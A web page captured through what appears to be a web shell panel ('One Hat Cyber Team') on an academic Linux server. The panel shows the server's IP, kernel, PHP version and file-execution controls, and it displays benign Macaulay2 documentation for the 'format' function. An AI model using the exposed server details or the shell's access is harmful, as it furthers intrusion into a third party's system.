One Hat Cyber Team
Your IP :
216.73.216.135
Server IP :
194.44.31.54
Server :
Linux zen.imath.kiev.ua 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Fri Oct 3 14:30:23 UTC 2025 x86_64
Server Software :
Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
PHP Version :
5.6.40
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
doc
/
Macaulay2
/
Macaulay2Doc
/
html
/
View File Name :
_format.html
<!DOCTYPE html> <html lang="en"> <head> <title>format -- format a string or real number</title> <meta content="text/html; charset=utf-8" http-equiv="Content-Type"> <link type="text/css" rel="stylesheet" href="../../../../Macaulay2/Style/doc.css"> <link rel="stylesheet" href="../../../../Macaulay2/Style/katex/katex.min.css"> <script defer="defer" src="../../../../Macaulay2/Style/katex/katex.min.js"></script> <script defer="defer" src="../../../../Macaulay2/Style/katex/contrib/auto-render.min.js"></script> <script> var macros = { "\\break": "\\\\", "\\ZZ": "\\mathbb{Z}", "\\NN": "\\mathbb{N}", "\\QQ": "\\mathbb{Q}", "\\RR": "\\mathbb{R}", "\\CC": "\\mathbb{C}", "\\PP": "\\mathbb{P}" }, delimiters = [ { left: "$$", right: "$$", display: true}, { left: "\\[", right: "\\]", display: true}, { left: "$", right: "$", display: false}, { left: "\\(", right: "\\)", display: false} ], ignoredTags = [ "kbd", "var", "samp", "script", "noscript", "style", "textarea", "pre", "code", "option" ]; document.addEventListener("DOMContentLoaded", function() { renderMathInElement(document.body, { delimiters: delimiters, macros: macros, ignoredTags: ignoredTags, trust: true }); }); </script> <style>.katex { font-size: 1em; }</style> <script defer="defer" src="../../../../Macaulay2/Style/katex/contrib/copy-tex.min.js"></script> <script defer="defer" src="../../../../Macaulay2/Style/katex/contrib/render-a11y-string.min.js"></script> <script src="../../../../Macaulay2/Style/prism.js"></script> <script>var current_version = '1.25.06';</script> <script src="../../../../Macaulay2/Style/version-select.js"></script> <link type="image/x-icon" rel="icon" href="../../../../Macaulay2/Style/icon.gif"> </head> <body> <div id="buttons"> <div> <a href="https://macaulay2.com/">Macaulay2</a> <span id="version-select-container"></span> » <a title="Macaulay2 documentation" href="index.html">Documentation </a> <br><a href="_packages_spprovided_spwith_sp__Macaulay2.html">Packages</a> » <span><a title="Macaulay2 documentation" href="index.html">Macaulay2Doc</a> » <a href="___The_sp__Macaulay2_splanguage.html">The Macaulay2 language</a> » <a title="an overview of strings and nets in Macaulay2" href="_strings_spand_spnets.html">strings and nets</a> » <a title="format a string or real number" href="_format.html">format</a></span> </div> <div class="right"> <form method="get" action="https://www.google.com/search"> <input placeholder="Search" type="text" name="q" value=""> <input type="hidden" name="q" value="site:macaulay2.com/doc"> </form> <a href="_lines.html">next</a> | <a href="_concatenate.html">previous</a> | <a href="_lines.html">forward</a> | <a href="_concatenate.html">backward</a> | <a href="_strings_spand_spnets.html">up</a> | <a href="master.html">index</a> | <a href="toc.html">toc</a> </div> </div> <hr> <div> <h1>format -- format a string or real number</h1> <div> <h2>Description</h2> <div> <h2>Synopsis</h2> <ul> <li> <dl class="element"> <dt>Usage: </dt> <dd><code class="language-macaulay2">format s</code></dd> </dl> </li> <li>Inputs: <ul> <li><span><span class="tt">s</span>, <span>a <a title="the class of all strings" href="___String.html">string</a></span>, </span></li> </ul> </li> <li>Outputs: <ul> <li><span><span>a <a title="the class of all strings" href="___String.html">string</a></span>, obtained from <code>s</code> by inserting escape sequences, thereby preparing it for printing in a format suitable for reading in again</span></li> </ul> </li> </ul> <table class="examples"> <tr> <td> <pre><code class="language-macaulay2">i1 : s = "a\"b\"c" o1 = a"b"c</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i2 : t = format s o2 = "a\"b\"c"</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i3 : u = value t o3 = a"b"c</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i4 : u == s o4 = true</code></pre> </td> </tr> </table> <div> <p>The characters that are escaped are double quotes, backslashes, and all <a href="https://en.wikipedia.org/wiki/control_characters">control characters</a>. In particular, the outputted string will be valid <a href="https://en.wikipedia.org/wiki/JSON">JSON</a>.</p> </div> <table class="examples"> <tr> <td> <pre><code class="language-macaulay2">i5 : format(ascii(0..31) | "\"\\") o5 = "\u0000\u0001\u0002\u0003\u0004\u0005\u0006\u0007\b\t\n\u000b\f\r\u000e\ u000f\u0010\u0011\u0012\u0013\u0014\u0015\u0016\u0017\u0018\u0019\u001a\ u001b\u001c\u001d\u001e\u001f\"\\"</code></pre> </td> </tr> </table> </div> <div> <h2>Synopsis</h2> <ul> <li> <dl class="element"> <dt>Usage: </dt> <dd><code class="language-macaulay2">format(s,k,l,t,e,x)</code></dd> </dl> </li> <li>Inputs: <ul> <li><span><span class="tt">s</span>, <span>an <a title="the class of all integers" href="___Z__Z.html">integer</a></span>, the maximum number of significant decimal digits (default: <a title="current precision for printing numbers" href="_printing__Precision.html">printingPrecision</a>). The special value <code>0</code> imposes no limit.</span></li> <li><span><span class="tt">k</span>, <span>an <a title="the class of all integers" href="___Z__Z.html">integer</a></span>, how far to the right of the decimal point to go, at most (default: <a title="current accuracy for printing numbers" href="_printing__Accuracy.html">printingAccuracy</a>). The special value <code>-1</code> imposes no limit.</span></li> <li><span><span class="tt">l</span>, <span>an <a title="the class of all integers" href="___Z__Z.html">integer</a></span>, maximum number of leading zeroes (default: <a title="maximum number of leading zeroes to use when printing real numbers" href="_printing__Lead__Limit.html">printingLeadLimit</a>).</span></li> <li><span><span class="tt">t</span>, <span>an <a title="the class of all integers" href="___Z__Z.html">integer</a></span>, maximum number of trailing zeroes (default: <a title="maximum number of additional trailing digits to use when printing real numbers" href="_printing__Trail__Limit.html">printingTrailLimit</a>)</span></li> <li><span><span class="tt">e</span>, <span>a <a title="the class of all strings" href="___String.html">string</a></span>, the separator between the mantissa and the exponent (default: <a title="string used to separate mantissa from exponent when printing real numbers" href="_printing__Separator.html">printingSeparator</a>)</span></li> <li><span><span class="tt">x</span>, <span>a <a title="the class of all real numbers" href="___R__R.html">real number</a></span>, the number to be converted to a string</span></li> </ul> </li> <li>Outputs: <ul> <li><span><span>a <a title="the class of all strings" href="___String.html">string</a></span>, the decimal representation of the number <code>x</code>, prepared according to the parameters above</span></li> </ul> </li> </ul> <table class="examples"> <tr> <td> <pre><code class="language-macaulay2">i6 : format(10,1/3000.) o6 = .0003333333333</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i7 : format(10,6,1/3000.) o7 = .000333</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i8 : format(10,6,2,1/3000.) o8 = 3.33e-4</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i9 : format(10,300000.) o9 = 300000</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i10 : format(10,-1,10,5,300000.) o10 = 300000</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i11 : format(10,-1,10,4,300000.) o11 = 3e5</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i12 : format(10,-1,10,4,"E",300000.) o12 = 3E5</code></pre> </td> </tr> </table> </div> </div> <div> <h2>See also</h2> <ul> <li><span><a title="convert to a readable string" href="_to__External__String.html">toExternalString</a> -- convert to a readable string</span></li> </ul> </div> <div> <div class="waystouse"> <h2>Ways to use <span class="tt">format</span>:</h2> <ul> <li><span><kbd>format(DocumentTag)</kbd> -- see <span><a title="the class of all document tags" href="___Document__Tag.html">DocumentTag</a> -- the class of all document tags</span></span></li> <li><kbd>format(CC)</kbd></li> <li><kbd>format(RR)</kbd></li> <li><kbd>format(String)</kbd></li> </ul> </div> <div class="waystouse"> <h2>For the programmer</h2> <p>The object <a title="format a string or real number" href="_format.html">format</a> is <span>a <a title="a type of method function" href="___Method__Function__Single.html">method function with a single argument</a></span>.</p> </div> <hr> <div class="waystouse"> <p>The source of this document is in <span class="tt">Macaulay2Doc/functions/format-doc.m2:71:0</span>.</p> </div> </div> </div> </body> </html>